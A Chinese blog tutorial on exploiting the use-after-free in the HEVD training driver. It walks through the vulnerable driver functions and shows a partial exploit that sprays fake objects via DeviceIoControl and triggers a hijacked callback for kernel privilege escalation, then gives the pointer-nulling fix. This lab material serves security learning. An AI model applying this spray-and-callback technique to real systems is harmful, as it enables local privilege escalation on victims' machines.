[03] HEVD 內核漏洞之UAF

 做者:huity
出處:https://www.cnblogs.com/huity35/p/11240997.html
版權:本文版權歸做者全部。文章在博客園、看雪、我的博客同時發佈。
轉載:歡迎轉載,但未經做者贊成,必須保留此段聲明;必須在文章中給出原文鏈接;不然必究法律責任。html

0x00 前言

上一節研究了內核棧溢出相關問題,事實上利用已經成功了, 可是源碼在vs環境下編譯的驅動文件和利用程序,在最後返回時的堆棧平衡出現了問題,因爲時間有限,暫時擱置,後面有時間將繼續研究。
這一節學習釋放後引用漏洞,即UAF.
實驗環境:Win10專業版+VMware Workstation 15 Pro+Win7 x86 sp1
實驗工具:VS2015+Windbg+KmdManager+DbgViewer

0x01 漏洞原理

UAF

Use After Free 就是其字面所表達的意思,當一個內存塊被釋放以後再次被使用。可是其實這裏有如下幾種狀況(引用Thunder J師傅的總結,到位):git

①內存塊被釋放後,其對應的指針被設置爲 NULL , 而後再次使用,天然程序會崩潰。
②內存塊被釋放後,其對應的指針沒有被設置爲 NULL ,而後在它下一次被使用以前,沒有代碼對這塊內存塊進行修改,那麼程序頗有可能能夠正常運轉。
③內存塊被釋放後,其對應的指針沒有被設置爲 NULL,可是在它下一次使用以前,有代碼對這塊內存進行了修改,那麼當程序再次使用這塊內存時,就頗有可能會出現奇怪的問題。
通常Use After Free 漏洞主要是後兩種。

Demo

#include <stdio.h>
#define size 32
int main(int argc, char **argv) {
 
    char *buf1;
    char *buf2;
 
    buf1 = (char *) malloc(size);
    printf("buf1:0x%p\n", buf1);
    free(buf1);
 
    // 分配 buf2 去「佔坑」buf1 的內存位置
    buf2 = (char *) malloc(size);
    printf("buf2:0x%p\n\n", buf2);
 
    // 對buf2進行內存清零
    memset(buf2, 0, size);
    printf("buf2:%d\n", *buf2);
 
    // 重引用已釋放的buf1指針,但卻致使buf2值被篡改
    printf("==== Use After Free ===\n");
    strncpy(buf1, "hack", 5);
    printf("buf2:%s\n\n", buf2);
 
    free(buf2);
}
buf2 「佔坑」了buf1 的內存位置,通過UAF後,buf2被成功篡改了。

程序分配和buf1大小相同的堆塊buf2實現佔坑,buf2分配到已經釋放的buf1內存位置,但因爲buf1指針依然有效,而且指向的內存數據是不可預測的,可能被堆管理器回收,也可能被其餘數據佔用填充,buf1指針稱爲懸掛指針,藉助懸掛指針buf1將內存賦值爲hack,致使buf2也被篡改成hack。github

若是原有的漏洞程序引用到懸掛指針指向的數據用於執行指令,就會致使任意代碼執行。shell

在一般的瀏覽器UAF漏洞中,都是某個C++對象被釋放後重引用,假設程序存在UAF的漏洞,有個懸掛指針指向test對象,要實現漏洞利用,經過佔坑方式覆蓋test對象的虛表指針,虛表指針指向虛函數存放地址,如今讓其指向惡意構造的shellcode,當程序再次引用到test對象就會致使任意代碼執行。瀏覽器

分析

UAF漏洞中涉及許多驅動程序功能,咱們將依次查看每個,以提供適當的詳細信息。

AllocateUaFObject

 

typedef void(*FunctionPointer)();
...
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
...
NTSTATUS AllocateUaFObjectNonPagedPool(VOID){
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
    PAGED_CODE();

    __try
    {
        DbgPrint("[+] Allocating UaF Object\n");

        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
            (ULONG)POOL_TAG
        );

        if (!UseAfterFree)
        {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }

        // Fill the buffer with ASCII 'A'
        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';

        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;

        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObjectNonPagedPool = UseAfterFree;

        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

 

該函數分配一個非分頁的池塊,用‘A’填充它,預先設置一個回調指針並添加一個空終止符。 IDA中的流程幾乎相同,以下所示。 請注意,對象大小爲0x58字節,池標記爲「Hack」(小端對齊)。安全

 FreeUaFObject

 

NTSTATUS
FreeUaFObjectNonPagedPool(
    VOID
)
{
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try
    {
        if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);

#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            g_UseAfterFreeObjectNonPagedPool = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
            // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

至關直接,這能夠經過引用標記值來釋放池塊。在安全版本下,這是安全的,而在不安全的版本中這是包含漏洞的函數,由於在釋放對象後「g_UseAfterFreeObject」未設置爲null,所以保留了過期的對象指針。ide

UseUaFObject

 

NTSTATUS UseUaFObjectNonPagedPool(VOID){
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    PAGED_CODE();
    __try
    {
        if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObjectNonPagedPool->Callback)
            {
                g_UseAfterFreeObjectNonPagedPool->Callback();
            }
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

 

此函數因爲UAF存在,則讀入「g_UseAfterFreeObject」值並執行對象回調。

AllocateFakeObject

最終,通過一些謀劃,咱們找到這樣一個驅動函數:它容許咱們在非分頁內存池上分配一個僞造的對象;更爲方便的,該函數容許咱們把對象分配到本來的UAF對象所在的位置上。
NTSTATUS
AllocateFakeObjectNonPagedPool( _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject){
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
    PAGED_CODE();
    __try
    {
        DbgPrint("[+] Creating Fake Object\n");

        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL),
            (ULONG)POOL_TAG
        );

        if (!KernelFakeObject)
        {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead(
            (PVOID)UserFakeObject,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL),
            (ULONG)__alignof(UCHAR)
        );

        // Copy the Fake structure to Pool chunk
        RtlCopyMemory(
            (PVOID)KernelFakeObject,
            (PVOID)UserFakeObject,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL)
        );

        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}
基本原理上面已經說明。
  1. 咱們分配一個UAF對象。
  2. 咱們釋放掉UAF對象。
  3. 咱們使用僞造的對象佔坑釋放掉的UAF對象內存。
  4. 咱們用野指針調用UAF對象的callback函數,此時callback函數指針已經由僞造的對象來決定了。

0x02 漏洞利用

在Hacks Team提供的利用程序源碼中,能夠看到,其利用流程與咱們上面總結的利用流程無二。
若是申請堆的大小和UAF中堆的大小相同,就可能申請到咱們的這塊內存,假如又提早構造好了這塊內存中的數據,那麼當最後釋放的時候就會指向咱們shellcode的位置,從而達到提取的效果。但問題是,咱們電腦中有大量的空閒內存塊,若是咱們只構造一塊假堆,咱們並不能保證恰好可以用到咱們的這塊內存,因此咱們就須要構造不少個這種堆,換句話說就是堆海戰術吧,若是你看過0day安全這本書,裏面說的堆噴射也就是這個原理。

利用代碼,能夠參考這裏,下面只展現出核心部分:
//申請fake UAF對象
        for (i = 0; i < 0x1000; i++)
        {
            DeviceIoControl(hFile,
                            HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
                            (LPVOID)FakeObject,//Ring3緩衝區
                            0,
                            NULL,
                            0,
                            &BytesReturned,
                            NULL);
        }
        OutputDebugString("****************Kernel Mode****************\n");
        DEBUG_INFO("\t\t\t[+] Freeing Reserve Objects\n");
        //釋放剩餘的對象
        FreeReserveObjects();
        DEBUG_MESSAGE("\t[+] Triggering Kernel Use After Free\n");
        OutputDebugString("****************Kernel Mode****************\n");
        //執行
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
                        NULL,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
        OutputDebugString("****************Kernel Mode****************\n");

最終看到。提權成功,提權過程參考個人前一篇函數

 

 0x03 漏洞防範

很明顯在安全版本中,已給出防範方法,即釋放後指控,防止懸掛指針的出現。
#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            g_UseAfterFreeObjectNonPagedPool = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
            // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif

0x04 連接

相關文章
相關標籤/搜索